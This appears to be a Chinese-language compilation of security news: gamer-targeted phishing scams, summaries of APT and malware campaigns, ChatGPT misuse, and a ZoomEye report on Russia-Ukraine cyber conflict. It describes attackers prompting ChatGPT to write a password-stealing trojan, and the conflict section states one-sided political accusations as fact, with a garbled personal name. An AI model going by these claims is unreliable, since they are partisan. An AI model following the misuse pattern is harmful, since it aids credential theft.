10.jpeg

另一個網站提供名為“反恐精英2有限測試”的東西,但只針對那些願意鏈接他們的Steam賬戶的人。但是,如果用戶鏈接了它,它將被洩露,並且無法訪問遊戲的測試版。

11.png

除了遊戲賬戶,攻擊者還瞄準了玩家的社交媒體資料。這些信息對欺詐者來說很有價值,因為它們通常包含大量個人數據和相關的付款細節。此外,社交媒體賬戶經常被用來登錄包括在線遊戲在內的其他服務。最後,通過一個被盜的社交媒體賬戶,攻擊者可以針對受害者的朋友和親屬進行各種詐騙。

12.png

在上面的截圖中,釣魚者用遊戲內的贈品引誘PUBG玩家。如果要參與,你需要登錄你的Facebook、X(以前的twitter)或虛假網站上的其他社交媒體賬戶。一旦你這麼做了,你的登錄憑據就會被盜。

類似的誘餌也被用於詐騙,用戶需要向攻擊者支付一定金額,才能獲得禮品卡、遊戲內貨幣或全新遊戲。通常,在這樣的網站上,你需要首先輸入一些個人信息並填寫一個簡單的調查。然後顯示一個頁面,告訴你你贏得了一個有價值的獎品。在你認領它之前,唯一要做的就是支付一小筆運費。然而,這一通操作下來,受害者不僅損失了支付的錢,而且還洩露了他們的銀行卡。

在下面的截圖中,你可以看到這種騙局的典型例子。攻擊者向用戶提供“免費的Apex傳奇禮品卡”。要獲得這些獎品,你必須首先輸入你的用戶名,然後回答幾個問題,然後支付來獲得獎品。

13.jpeg

對於Roblox玩家,詐騙者通常會提供免費賺取、生成或獲得一些Robux(Roblox中的遊戲貨幣)。與Apex Legends的例子類似,如果用戶試圖提取“賺到的”或生成的錢,他們就必須在一個欺詐網站上付款。

14.jpeg

詐騙者經常採取的另一個選擇是為熱門遊戲提供高額折扣。在下面的截圖中,一個流氓網站假裝以28.7美元的價格出售《星球大战绝地武士:幸存者》 ,這還不到官方價格的一半。

15.png

如果用戶付費,他們很可能什麼也得不到,而且還會損失他們的錢並洩露銀行卡信息。

總結遊戲平台一直是攻擊者的目標,因為它們存儲了大量的個人和財務數據,從付款細節到電子郵件地址以及其他個人身份信息。欺詐者通過竊取遊戲中的物品和貨幣來賺錢,這些物品和貨幣通常在現實世界也有價值。

攻擊者越來越多地利用熱門遊戲,比如《我的世界》 (Minecraft)和Roblox,瞄準年輕用戶,引誘缺乏網絡安全意識、缺乏經驗的電腦用戶使用惡意或不需要的軟件。

綜上所述,年輕玩家的父母必須對孩子進行安全教育,這樣他們才能幫助保護自己的孩子。網上有大量資源可以幫助新玩家遠離網絡攻擊。

卡巴斯基建議用戶:

1.時刻關注孩子的網絡活動,經常與他們一起看他們最喜歡的電視劇或聽音樂。

2.如果你的孩子喜歡某款遊戲,有必要和孩子討論安全問題,向他們解釋網絡安全的意義,向孩子們解釋什麼是敏感信息,為什麼這些信息只能和他們在現實生活中認識的人分享。

3.只從Steam、Apple App Store、Google Play或Amazon Appstore等官方商店下載遊戲。這些市場上的遊戲並非100%安全,但它們至少會經過技術人員的檢查,並且存在某種篩選系統,並非所有應用都能上架。

4.如果你想購買的遊戲不能從應用商店購買,只能從官方網站下載,仔細檢查網站的網址,確保它是真實的。為了進一步保護您的購買,請使用網上銀行保護,例如卡巴斯基產品中的安全貨幣功能。

謹防網絡釣魚活動和不熟悉的玩家,不要打開通過電子郵件或遊戲聊天收到的鏈接,除非你信任發件人。不要打開陌生人給你的文件。

不要下載盜版軟件或任何其他非法內容,即使你從一個合法的網站重定向到它。只在官方網站上購買遊戲更安全。

使用強大、可靠的安全解決方案,將不會減慢你的電腦,同時保護您免受惡意軟件,網絡釣魚和其他威脅。例如,卡巴斯基高級版可以與Steam和其他遊戲服務順利合作,並可以保護計算機和移動設備。

sl-dark-blue-binary-malware-magnifier-city-world-1200-1200x600.jpg

BlueNoroff引入繞過MotW的新方法早2022年底,研究人員就發布過BlueNoroff組織的活動,這是一個以盜竊加密貨幣而聞名的出於經濟動機的組織,通常利用Word文檔,使用快捷方式文件進行初始攻擊。不過最近的追踪發現,該組織採用了新的方法來傳播其惡意軟件。

其中一種是使用.ISO(光盤映像)和VHD(虛擬硬盤)文件格式,旨在避開Web標記(MotW)標誌。 MOTW是Windows Internet Explorer通過強制使IE瀏覽器瀏覽存儲下來的網頁在安全的位置的一種機制,目的是增強安全性。

該組織似乎也在嘗試用新的文件類型來傳播其惡意軟件。研究人員觀察到一個新的Visual Basic腳本、一個以前未見過的Windows批處理文件和一個Windows可執行文件。

1.png

分析顯示,該組織使用了70多個域名,這意味著他們直到最近都非常活躍。他們還創建了許多看起來像風險投資和銀行域名的假域名,這些域名大多模仿日本風險投資公司,表明該組織對日本金融機構有著廣泛的興趣。

Roaming Mantis使用了新的DNSChanger(DNS解析器)Roaming Mantis(又名Shaoye)是一個針對亞洲國家的知名攻擊組織。從2019年到2022年,這名攻擊者主要使用“smishing”來提供其登陸頁面的鏈接,目的是控制受攻擊的安卓設備並竊取設備信息,包括用戶憑據。

然而,在2022年9月,研究人員發現Roaming Mantis使用了新的Wroba.o Android惡意軟件,並發現了一個DNS解析器功能,該功能主要針對韓國使用的特定Wi-Fi路由器。

2.png

這可以用於管理來自使用惡意DNS設置的受攻擊Wi-Fi路由器的設備的所有通信,例如,將某人重定向到惡意主機並干擾安全產品更新。用戶將受攻擊的安卓設備連接到咖啡館、酒吧、圖書館、酒店、購物中心和機場等場所的免費公共Wi-Fi。當連接到具有易受攻擊設置的目標Wi-Fi型號時,惡意軟件將破壞路由器並影響其他設備。因此,它可以在目標區域廣泛傳播。

BadMagic:與俄烏衝突有關的新APT組織自俄烏衝突開始以來,研究人員已經發現了大量地緣政治網絡攻擊。

去年10月,研究人員就發現了BadMagic的攻擊。最初的攻擊途徑尚不清楚,但接下來要使用魚叉式網絡釣魚或類似的方法。攻擊目標被導航到一個URL,該URL指向託管在惡意web服務器上的ZIP文檔。該文檔包含兩個文件:一個是誘餌文檔(研究人員發現了PDF、XLSX和DOCX版本),另一個是帶有雙重擴展名的惡意LNK文件(例如PDF.LNK),打開後會導致攻擊。

3.png

在一些情況下,誘餌文檔的內容與惡意LNK的名稱直接相關,以誘使用戶激活它。

LNK文件下載並安裝了一個名為“PowerMagic”的PowerShell後門,該後門反過來部署了一個複雜的模塊化框架“CommonMagic”。研究人員發現CommonMagic插件能夠從USB設備中竊取文件,並進行截屏將其發送給攻擊者。

4.png

在初步分析中,研究人員無法找到任何證據將他們發現的樣本和活動中使用的數據與任何以前已知的攻擊者聯繫起來。

Prilex針對非接觸式信用卡交易發起攻擊Prilex已經從專注於ATM的攻擊演變成了涉及PoS的攻擊。該組織開發的最新惡意軟件不是基於PoS攻擊中常見的內存抓取器技術,而是直接開發了一種高度先進的惡意軟件,該軟件包括獨特的加密方案、目標軟件的實時補丁、強制協議降級、操縱密碼、執行所謂的“GHOST交易”和信用卡欺詐,甚至是芯片和PIN卡上的欺詐。

在調查一起事件時,研究人員發現了新的Prilex樣本,其中一個新功能包括阻止非接觸式交易的功能。這些交易生成一個僅對一筆交易有效的唯一標識符,這樣攻擊者就沒有辦法利用它了。通過阻止交易,Prilex試圖迫使客戶插入他們的卡來進行芯片和PIN交易,這樣攻擊者就有機會使用他們的標準技術從卡中捕獲數據。

隨著非接觸式卡交易的增加,該技術可以讓Prilex攻擊者繼續竊取卡信息。

攻擊者使用社會工程來攻擊PoS終端,他們試圖說服零售店的員工,他們迫切需要更新終端的軟件,並允許所謂“技術專家”訪問商店,或者至少提供遠程訪問終端的權限。所以,零售公司要警惕攻擊跡象,包括反复失敗的非接觸式交易,並教育員工了解這種攻擊方法。

對於零售公司(尤其是擁有許多分支機構的公司)來說,制定內部法規並向所有員工解釋技術支持或維護人員應該如何運作是很重要的。這至少可以防止對pos終端的未經授權的訪問。此外,提高員工對最新網絡威脅的意識總是一個好主意,這樣他們就不會那麼容易受到新的社會工程技巧的影響。

使用假冒Tor瀏覽器竊取加密貨幣研究人員最近發現了一個正在進行的加密貨幣盜竊活動,影響了52個國家的1.5萬多名用戶。攻擊者使用了一種已經存在了十多年的技術,最初是由銀行木馬用來替換銀行賬號的。然而,在最近的活動中,攻擊者使用木馬版的Tor瀏覽器來竊取加密貨幣。

目標從包含密碼保護的RAR文檔的第三方資源下載Tor瀏覽器的木馬化版本,密碼用於防止其被安全解決方案檢測到。一旦文件被釋放到目標計算機上,它就會在系統的自動啟動中自我註冊,並偽裝成一個流行應用程序(如uTorrent)的圖標。

5.png

惡意軟件一直等到剪貼板中出現錢包地址,然後將輸入的剪貼板內容的一部分替換為攻擊者自己的錢包地址。

對現有樣本的分析表明,這些攻擊目標的估計損失至少為40萬美元,但實際被盜金額可能要大得多,因為研究人員的研究只關注Tor瀏覽器濫用。其他活動可能使用不同的軟件和惡意軟件傳播方法,以及其他類型的錢包。

研究人員目前還無法確定一個承載安裝程序的網站,因此它可能是通過torrent下載或其他軟件下載程序傳播的。來自官方Tor項目的安裝程序是數字簽名的,不包含任何此類惡意軟件的跡象。因此,為了保證安全,你應該只從可靠和可信的來源下載軟件。即使有人下載了木馬化的版本,一個好的反病毒產品也應該能夠檢測到它。

還有一種方法可以檢查你的系統是否受到同類惡意軟件的攻擊。在記事本中輸入以下“比特幣地址”:

bc1heymalwarehowaboutyoureplacethisaddress

現在按Ctrl+C和Ctrl+V。如果地址更改為其他地址,則係統可能受到剪貼板注入器惡意軟件的危害,並且使用起來很危險。

6.png

我們建議你用安全軟件掃描你的系統。如果你不確定是否有隱藏的後門,那麼一旦系統被破壞,你就不應該信任它,直到它被重建。

利用ChatGPT發起攻擊自從OpenAI通過ChatGPT向公眾開放其大型GPT-3語言模型以來,人們對該項目的興趣猛增,爭相探索它的可能性,包括寫詩、參與對話、提供信息、為網站創建內容等等。

關於ChatGPT對安全格局的潛在影響,也有很多討論。

鑑於ChatGPT模仿人類互動的能力,使用ChatGPT的自動魚叉式網絡釣魚攻擊很可能已經發生了。 ChatGPT允許攻擊者在工業規模上生成有說服力的個性化電子郵件。此外,來自釣魚信息目標的任何回复都可以很容易地輸入聊天機器人的模型,在幾秒鐘內產生令人信服的後續活動。也就是說,雖然ChatGPT可能會讓攻擊者更容易偽造網絡釣魚信息,但它並沒有改變這種攻擊形式的本質。

攻擊者還在地下黑客論壇上介紹了他們如何使用ChatGPT創建新的木馬。由於聊天機器人能夠編寫代碼,如果有人描述了一個所需的功能,例如,“將所有密碼保存在文件X中,並通過HTTP POST發送到服務器Y”,他們可以在不具備任何編程技能的情況下創建一個簡單的信息竊取器。然而,這樣的木馬很可能是很低級的,並且可能包含效果較差的漏洞。至少就目前而言,聊天機器人只能編寫低級惡意軟件。

研究人員還發現了一個惡意活動,試圖利用ChatGPT日益流行的優勢。欺詐者創建了模仿愛好者社區的社交網絡群組。這些群組還包含預先創建的帳戶的虛假憑據,這些帳戶聲稱可以訪問ChatGPT。這些群組包含一個看似合理的鏈接,邀請人們下載一個虛假的Windows版ChatGPT。

7.jpg

該惡意鏈接安裝了一個木馬,可以竊取存儲在Chrome、Edge、Firefox、Brave和其他瀏覽器中的帳戶憑證。

由於安全研究人員經常發布有關攻擊者的報告,包括TTP(戰術、技術和程序)和其他指標,研究人員決定嘗試了解ChatGPT對安全格局的影響,以及它是否可以幫助常見的惡意工具和IoC,如惡意哈希和域。

基於主機的工件的響應看起來很有希望,所以研究人員指示ChatGPT編寫一些代碼,從測試Windows系統中提取各種元數據,然後問自己元數據是否是IoC:

8.png

由於某些代碼片段比其他代碼片段更方便,研究人員繼續手動開發這種概念驗證:他們過濾了ChatGPT響應包含關於IoC存在的“yes”語句的事件的輸出,添加了異常處理程序和CSV報告,修復了小漏洞,並將代碼片段轉換為單獨的cmdlet,從而生成了一個簡單的IoC掃描器HuntWithChatGPT.psm1,它能夠通過WinRM掃描遠程系統。

雖然對於OpenAI API來說,IoC掃描的精確實現目前可能不是一個非常划算的解決方案,因為每台主機需要15到20美元,但它顯示了有趣的結果,並為未來的研究和測試提供了機會。

人工智能對我們生活的影響將遠遠超出ChatGPT和其他當前機器學習項目的能力。 Ivan Kwiatkowski是卡巴斯基實驗全球研究和分析團隊的一名研究員,他最近探討了我們可以預期的長期變化的可能範圍。這些觀點不僅包括人工智能帶來的生產力提高,還包括它可能帶來的社會、經濟和政治變化的影響。

追踪用戶的數字足跡研究人員已經習慣了服務提供商、營銷機構和分析公司跟踪用戶的鼠標點擊、社交媒體帖子以及瀏覽器和流媒體服務的歷史記錄。公司這麼做有很多原因,他們希望更好地了解我們的偏好,並建議我們更有可能購買的產品和服務。他們這樣做是為了找出我們最關注的圖像或文本,甚至還向第三方出售我們的在線行為和偏好。

跟踪是使用網絡信標(又名追踪器像素和間諜像素)完成的。最流行的跟踪技術是將1×1甚至0x0像素的微小圖像插入電子郵件、應用程序或網頁。電子郵件客戶端或瀏覽器通過傳輸服務器記錄的有關用戶的信息來請求從服務器下載圖像。這包括時間、設備、操作系統、瀏覽器和下載像素的頁面。這就是信標操作員了解你打開電子郵件或網頁的方式以及方式。通常使用網頁中的一小段JavaScript來代替像素,它可以收集更詳細的信息。這些信標被放置在每個頁面或應用程序屏幕上,使公司可以在你上網的任何地方跟踪你。

在研究人員最近關於網絡追踪器的報告中,他們列出了網站和電子郵件中最常見的20個信標。網絡信標的數據基於卡巴斯基匿名統計數據,該組件阻止網站追踪器的加載。大多數公司至少與數字廣告和營銷有一定聯繫,包括谷歌、微軟、亞馬遜和甲骨文等科技巨頭。

9.jpg

電子郵件信標的數據來自卡巴斯基郵件產品的匿名反垃圾郵件檢測數據。列表中的公司是電子郵件服務提供商(ESP)或客戶關係管理(CRM)公司。

10.jpg

使用追踪器收集的信息不僅對合法公司有價值,對攻擊者也有價值。如果他們能夠獲得這些信息,例如,由於數據洩露,他們可以利用這些信息攻擊在線賬戶或發送虛假電子郵件。此外,攻擊者還利用網絡信標。你可以在此處找到有關如何保護自己免受跟踪的信息。

通過搜索引擎插入惡意廣告最近幾個月,研究人員觀察到使用谷歌廣告作為傳播惡意軟件手段的惡意活動數量有所增加。至少有兩個不同的竊取程序——Rhadamanthys和RedLine,它們濫用了搜索引擎推廣計劃,以便向受害者的電腦發送惡意有效負載。

11.png

他們似乎使用了與著名軟件(如Notepad++和Blender 3D)相關的網站模仿技術。攻擊者創建合法軟件網站的副本,並使用“誤植域名”(使用拼寫錯誤的品牌或公司名稱作為url)或“組合搶注”(如上所述,但添加任意單詞作為url)來使網站看起來合法。然後,他們付費在搜索引擎中推廣該網站,以將其推到搜索結果的首位。

12.png

惡意軟件的分佈表明,攻擊者的目標是全球範圍內的個人和企業受害者。

俄烏衝突是一場新型的混合戰爭。在俄烏物理空間戰場之外,網絡戰、輿論認知戰膠著在一起,多方勢力進行激烈的較量。自2022年俄烏衝突引發全球高度關注至今,俄烏衝突已持續了400多天,局勢持續發酵。據2023年4月9日《纽约时报》 報導,多家社交媒體近來披露了一批疑似美軍秘密文件中,包含韓國政府高層討論是否向烏克蘭提供武器等內容,而這些信息來自美國情報部門對韓方的監聽。這一信息一經發布,再次引發對俄烏衝突話題的關注。

以美國為首的西方國家,雖然表面上未直接參與軍事衝突,卻利用其先進的網絡信息技術和主流媒體平台極力壓制俄羅斯,並引導全球黑客加入網絡戰,起到了推波助瀾的作用。 2022年6月,微軟公司發布的《保卫乌克兰:网络战争的初始教训》 報告指出,在俄烏戰爭爆發前的一周內烏克蘭政府的數據就被悄悄的“運出”了烏克蘭,上傳到美國的雲上進行數據儲存和處理,美國甚至為此還修訂了法律。俄烏衝突爆發後,美國前國務卿希拉里马云惹不起马云克林頓在接受美國微軟全國廣播公司(MSNBC)的採訪時呼籲美國黑客對俄羅斯發動網絡攻擊。美國還在利用跨國信息科技公司在互聯網世界的資源主導權,不斷對俄羅斯的輿論發聲渠道圍追堵截。蘋果公司刪除了俄羅斯以外國家和地區App Store中俄羅斯的新聞應用程序;谷歌公司封鎖了俄羅斯官方媒體的YouTube頻道。美國在俄烏衝突背後的頻頻動作,暴露出美國所宣揚的所謂“清潔網絡”和“符合民主價值觀和利益的技術”,不過是可以讓美國肆意竊密、隨意攻擊他國、確保美國“唯我獨尊”的網絡和技術優勢。最近美國五角大樓洩露的情報等一系列事實證明,美國是網絡戰的始作俑者、先進網絡武器的最大擴散方、全球最大的網絡竊密者。

本報告基於網絡空間搜索引擎鍾馗之眼(ZoomEye)的網絡空間測繪數據、創宇安全智腦、關基目標庫、高級持續性威脅(APT)流量監測系統、雲蜜罐平台的攻擊日誌數據,通過對俄烏衝突爆發前、衝突爆發初期、衝突相持階段的相關數據進行趨勢分析,描繪俄烏衝突網絡空間對抗的演進過程,總結俄烏衝突網絡空間對抗呈現的主要特徵,並總結經驗、提出建議。

一、俄烏衝突網絡空間對抗情況概覽根據ZoomEye的數據,可以將俄烏衝突劃分為三個階段,即衝突爆發前(2021年12月1日至2022年2月24日)、衝突爆發初期(2022年2月24日至2022年3月7日)和衝突相持階段(2022年3月7日至今)(見圖1)。

图1.jpg

圖1 烏克蘭的IP存活趨勢圖

通過網絡空間動態測繪、APT組織行為測繪、攻擊者大數據監測、暗網流量監測、輿情信息監測等多個維度,分析俄烏衝突以來網絡空間資產變化趨勢和網絡空間對抗態勢,可以發現和全面“感知”網絡戰這個新型戰場與物理空間戰場發展態勢之間的關聯映射。

一是“感知”了雙方的網絡空間戰法戰略。推測雙方通過衝突爆發前的長期APT攻擊獲取了精準的高價值情報,在軍事衝突爆發之前“網絡戰先行”,通過分佈式拒絕服務(DDoS)攻擊重點打擊對方的軍事、能源、金融等關鍵基礎設施,並在軍事衝突爆發後通過網絡戰持續消耗對方,同時,將輿論認知戰貫穿始終,以便達到鼓舞己方士氣、削弱敵方信心的目的。

二是“感知”了俄烏衝突爆發前的作戰準備。通過對APT組織的長期情報跟踪以及對全球黑客組織所使用的網絡資產、殭屍主機進行測繪,可以發現,在衝突爆發前有大量用於攻擊的命令與控制(C2)服務器資源上線部署,為衝突爆發前進行大規模DDoS攻擊提供支撐。

三是“感知”了DDoS攻擊先行成為衝突背後壓制對方的重要手段。通過“肉雞”數量的變化趨勢以及俄烏雙方關鍵信息系統的存活的變化趨勢,可以發現,軍事行動之前往往伴隨大規模DDoS攻擊,成為先行壓制的重要手段。

四是“感知”了在衝突初期特別軍事行動演進路線以及在相持階段雙方多次大規模空襲的區域分佈。通過對沖突爆發區域的網絡空間IP掉線率數據變化及分佈情況,可以發現,區域分佈與特別軍事行動演進路線及進度高度吻合。

五是“感知”了雙方應對網絡攻擊的防禦能力和應急響應能力。通過對黑客使用的跳板抽樣數據、暗網出口流量的變化趨勢分析,可以發現,國際黑客組織在俄烏衝突中產生了巨大影響。國際黑客組織對俄烏雙方發動攻擊的趨勢和烈度,與俄烏雙方關鍵資產的掉線率相印證,可以從側面反映出俄烏雙方的網絡防護能力和應急響應能力。

六是“感知”了雙方在網絡空間對抗的激烈程度。通過對APT組織域名資產的變化趨勢分析、對烏克蘭戰場智能指揮系統Delta入侵事件還原,以及對烏克蘭IT軍隊在社交平台公佈的信息分析,可以看出,俄烏雙方在網絡空間的持續對抗情況,與長期的測繪數據情況相匹配。

七是“感知”了搶奪認知域作戰主動權就是搶占國際輿論主導。俄烏雙方都以“第一視角”的方式向全球直播衝突對抗實況,都在網絡媒體和社交平台發聲,爭奪國際傳播認知敘事主導權。以美國為首的西方國家利用在互聯網世界的資源主導權,不斷對俄羅斯的輿論發聲渠道進行圍追堵截,致使全球黑客站隊情況呈現一邊倒的局勢,也使網絡戰的邊界更加模糊,大大影響了網絡戰資源的傾斜。

二、俄烏衝突爆發前期網絡空間對抗綜合各方觀點,可以推測,在俄烏衝突爆發前,雙方主要通過連續多年的APT攻擊獲取情報,為日後發起軍事衝突打下基礎。上述情況也可以從知道創宇的APT組織行為測繪以及輿論信息數據得到驗證和顯示。

1 衝突爆發前APT組織行為的測繪數據知道創宇404高級威脅情報團隊連續多年跟踪某個國外APT組織行為發現,國外安全機構報導稱該組織從2013年開始針對烏克蘭開展APT攻擊活動。通過對該APT組織使用的C2網絡資產進行持續測繪(見圖2),可以明顯看到,從2021年5月開始,該組織的C2網絡資產數量相較之前激增近3倍,並在2022年1月達到最高峰。由此推測,俄烏衝突爆發前,該APT組織即開始大量部署網絡基礎設施,並對烏克蘭持續性實施大規模的網絡攻擊。

图2.jpg

圖2 衝突爆發前某國外APT組織使用的IP資產情況

從該APT組織使用域名的維度看(見圖3),在2020年12月至2021年5月期間,該組織表現異常活躍,使用的域名到2021年5月達到創紀錄的8454個,隨後迅速回落到1000個左右。該組織使用的域名在2022年2月達到峰值的7292個。這意味著在俄烏衝突爆發前,該APT組織已做好了網絡空間對抗的相關準備。

图3.jpg

圖3 衝突爆發前某APT組織使用的域名資產情況

2 衝突爆發前網絡空間資產的動態測繪數據分析ZoomEye的測繪數據(見圖4),可以發現,從衝突爆發前的2022年2月15日開始,烏克蘭的IP資產數量明顯下降。據媒體當天的報導,烏克蘭政府機構等關鍵部門遭到大規模DDoS攻擊。由此可以推測,是DDoS攻擊致癱了烏克蘭的大量網站等在線系統,主要表現為網絡空間資產的劇烈震盪。

图4.jpg

圖4 烏克蘭全境IP存活狀態趨勢測繪

3 衝突爆發前的輿論信息數據在衝突爆發前,美國曾派白宮最高級別網絡安全官員訪問北約,協調盟友共同幫助烏克蘭應對網絡戰。美國網絡司令部還增加了前往東歐的“前出狩獵”小組的數量,任務是加強烏克蘭的網絡防禦能力。美國還通過網絡平台散佈俄羅斯在不久後進攻烏克蘭的輿論,並多次在網上公佈俄軍在俄烏邊境調動和部署情況,揭開了俄烏衝突輿論信息戰的序幕。

三、俄烏衝突爆發初期網絡空間對抗在俄烏衝突初期,多家媒體報導,俄羅斯主要通過大規模DDoS攻擊、數據擦除惡意軟件攻擊等方式,使烏克蘭大量互聯網、通信、交通、能源、金融等關鍵信息基礎設施陷入癱瘓,有效打擊了烏方軍事指揮控制能力,為特別軍事行動發動“閃電戰”製造戰機。同時,烏克蘭在Telegram上持續發布任務,組織國際黑客向俄羅斯發起網絡攻擊。國際黑客組織“匿名者”(Anonymous)宣布對俄發動“網絡戰爭”,聲稱攻擊了俄羅斯電視台。克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。這些情況可以從ZoomEye網絡空間動態測繪、攻擊者大數據監測、暗網流量監測的數據得到驗證和顯示。

1 ZoomEye網絡空間動態測繪數據俄烏衝突的爆發區域主要在烏克蘭境內,據ZoomEye對烏克蘭全境IP地址的在線存活狀態數據,可以看出,網絡戰場的網絡資產實際變化與特別軍事行動的時間點相吻合,也印證了實體戰場和網絡空間態勢之間有確切的時間對應關係。

2月23日至24日,烏方開始通過自主防衛手段主動斷網,保護關鍵信息基礎設施。從圖5可看出,2月24日16點51分,存活IP數量急劇下降至86%;2月24日20點37分,前期主動斷網系統重新上線,存活IP 數量反彈回升至94%。但是,在隨後一段時期(2月25日至3月7日),存活IP數量整體保持下降趨勢,網絡資產持續掉線。截至3月7日,存活IP數量已經降至78%。

图5.jpg

圖5 烏克蘭全境IP在線存活變化趨勢

從烏克蘭各州IP存活數量變化趨勢數據(見圖6)可以看出,多數直轄市和州的存活IP數在2月24日均有急劇下降,與烏克蘭全境IP地址在線存活數量的變化趨勢相吻合。

图6.jpg

圖6 烏克蘭各州IP存活數量變化趨勢

對烏克蘭首都和州2月24日IP存活比例和3月7日IP存活比例進行統計,統計結果如表1所示(該表格以基輔和各州2月23日IP存活數量進行降序排列)。

表1 烏克蘭各州IP存活率

表1.jpg

對烏克蘭首都和州網絡資產掉線狀況進行統計,可以繪製成熱力圖(見圖7)。該圖反映的狀況映射出俄烏特別軍事行動的演進進程,即俄羅斯是從北(基輔州)、東(哈爾科夫州、頓涅茨克州)、南(扎波羅熱州)三個方向對烏克蘭發動突襲,與實際情況高度吻合(見圖8)。

图7.jpg

圖7 烏克蘭各州網絡空間IP存活率熱力圖

图8.jpg

圖8 俄烏特別軍事行動進程圖

通過ZoomEye對烏克蘭的網絡空間持續測繪,對烏克蘭的軍事及軍事相關的基礎設施存活變化進行觀察及統計分析(見圖9),可以發現,在衝突初期階段有一個急劇下降的趨勢,這個說明基礎設施成為衝突的核心重點攻擊目標,這也表明俄羅斯在衝突前就已經掌握了烏克蘭相關的關鍵基礎設施的分佈等數據,很可能在本次武裝衝突之前就展開對應的信息收集工作,由此說明在現代武裝衝突中國家的基礎設施安全至關重要,並且說明相比現實空間的實體戰,網絡戰早已經先行。

图9.jpg

圖9 烏克蘭關鍵信息基礎設施在線存活變化趨勢

2022年2月24日的16點51分,烏克蘭的關基設施在數小時內掉線比例達到57.81%,遠遠高於非關基設施的掉線比例7.52%。 2022年3月7日,烏克蘭的關基設施掉線比例為66.00%,仍然遠高於非關基設施的掉線比例16.07%(見表2)。

表2 烏克蘭網絡資產變化情況

表2.jpg

表2顯示,2月24日非關基設施的資產掉線比例是7.52%,3月7日非關基設施的資產掉線比例是16.07%,非關基設施的掉線比例有明顯的增加,說明戰爭對烏克蘭的民眾生活及社會局勢帶來了越來越多的不穩定性。這段時間的媒體報導顯示,大量的烏克蘭人民選擇離開烏克蘭。

從烏克蘭掉線的關基設施所屬行業分佈(見圖10)可以看出,掉線的關基設施數量最多的3個行業是金融、政府和能源。這與媒體報導俄羅斯針對烏克蘭的政府和銀行網站開展大量DDoS網絡攻擊的情況相呼應。

图10.jpg

圖10 烏克蘭掉線關基設施行業分佈

據俄羅斯衛星通訊社2月27日消息,國際黑客組織“匿名者”(Anonymous)宣布對俄發動“網絡戰爭”,聲稱對今日俄羅斯電視台(RT)遭受的一次網絡攻擊負責,並“黑掉”了車臣政府網站,也攻擊了不少俄羅斯的攝像頭。同日,美國前國務卿希拉里马云惹不起马云克林頓呼籲美國黑客對俄羅斯發動網絡攻擊。另據Cyberscoop網站消息,俄羅斯政府3月2日公佈的一份清單顯示,有17500多個IP地址和174個互聯網域名參與了針對俄境內目標的持續DDoS攻擊,克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。

依據對俄羅斯軍事、工業、能源、金融、交通等關基網絡空間資產的測繪數據(見圖11),其中包括對俄的近3000個關基單位,超過11萬網絡IP的存活、類型、所有者、漏洞、GPS位置、業務類型的測繪數據,可以發現,在黑客攻擊及輿論攻勢下,俄羅斯網絡空間資產和關鍵基礎設施情況基本保持穩定。這也說明俄羅斯具有較強的網絡防禦能力。

图11.jpg

圖11 俄羅斯關鍵信息基礎設施在線存活變化趨勢

烏克蘭也作出了相應的反擊。烏克蘭總統澤連斯基、烏克蘭國家安全局等在呼籲國際黑客加入IT 軍團,從2022年2月26日起,在Telegram上持續發布任務(見表3),組織國際黑客向俄羅斯發起網絡攻擊,攻擊目標覆蓋俄羅斯的銀行、日報媒體、科技公司等網站(見表4)。 2月27日,烏克蘭在網絡上招募的一支由安全研究人員和黑客組成的志願“IT軍隊”,對包括政府機構、關鍵基礎設施和銀行在內的31個俄羅斯實體目標進行網絡攻擊。

表3 烏克蘭IT軍隊在Telegram上發布的部分任務

表3.jpg

表4 烏克蘭IT軍隊發布的部分攻擊目標

表4.jpg

2  對攻擊者的大數據分析自2022年1月起,發生了多起針對烏克蘭重要網站的DDoS攻擊事件。依據創宇安全智腦監和雲蜜罐平台捕獲的攻擊日誌數據,攻擊者通過“肉雞”發起了大規模的DDoS攻擊,並伴隨烏克蘭局勢的變化2月13日之後加大了攻擊強度,在2月24日達到頂峰(見圖12)。

图12.jpg

圖12 攻擊者利用“肉雞”對烏克蘭攻擊趨勢

依據2022年2月20日至2月27日烏克蘭“肉雞”攻擊變化趨勢數據,可以得出以下結論:一是烏克蘭“肉雞”數量從2022年2月20日起呈明顯的上升趨勢,到2月24日到達頂峰。據推測,這是攻擊者通過“肉雞”發起了大規模的DDoS攻擊的高峰期,時間點與普京宣布發起特別軍事行動的時間點相吻合。二是烏克蘭“肉雞”數量在2月24日明顯下降,與前述提到的烏克蘭全境IP地址在線存活數量在2月24日急劇下降的走勢及時間點吻合,兩個數據之間可互相印證。據推測,海量“肉雞”在發動攻擊後被快速主動銷毀。

3月1日,伊賽特公司(ESET)安全團隊披露了針對烏克蘭政府組織的第三種數據擦除惡意軟件IsaacWiper。這種新型數據擦除惡意軟件不帶有用於代碼驗證的數字簽名,與HermeticWiper沒有代碼相似性且複雜度較低,並自2月24日起不斷採用各種技術手段實施攻擊,烏克蘭數百台關鍵計算機被檢測到數據擦除惡意軟件,涉及烏克蘭的金融和政府承包商,導致相關組織的系統設備數據遭到惡意刪除。

依據創宇安全智腦長期對全球黑客使用的300萬跳板IP的跟踪數據,可以對黑客進行畫像,標記其ID、手段、戰法、動機、作戰規律。依據2月20日到3月27日近1萬個黑客使用的跳板抽樣數據(見圖13),在俄烏衝突爆發前幾天,這些跳板被大量用於攻擊俄羅斯,攻擊量比平常增加了30倍。

图13.jpg

圖13 近1萬黑客使用的跳板抽樣數據

多方數據顯示,超過50個國際黑客組織捲入了俄烏網絡衝突。在雙方的持續抗衡下,其中39個黑客組織支持烏克蘭,並持續對俄羅斯發起網絡攻擊,僅15個黑客組織表示支持俄羅斯。相關黑客組織概要情況詳見表5。

表5 相關黑客組織概要情況

表5-1.jpg

表5-2.jpg

3 暗網流量的數據分析暗網因隱蔽性、匿名性往往成為網絡犯罪的滋生地,也成為俄烏衝突網絡對抗的“暗器”。可以說,幾乎所有有價值的攻擊都會通過暗網進行布控和發動。依據創宇安全智腦持續對暗網出口節點實時流量0.13%的採樣數據,對比俄烏衝突爆發前與俄烏衝突爆發初期的暗網流量變化,可以清晰感知暗流湧動的暗網流量變化態勢。

表6 暗網流量變化態勢

表6.jpg

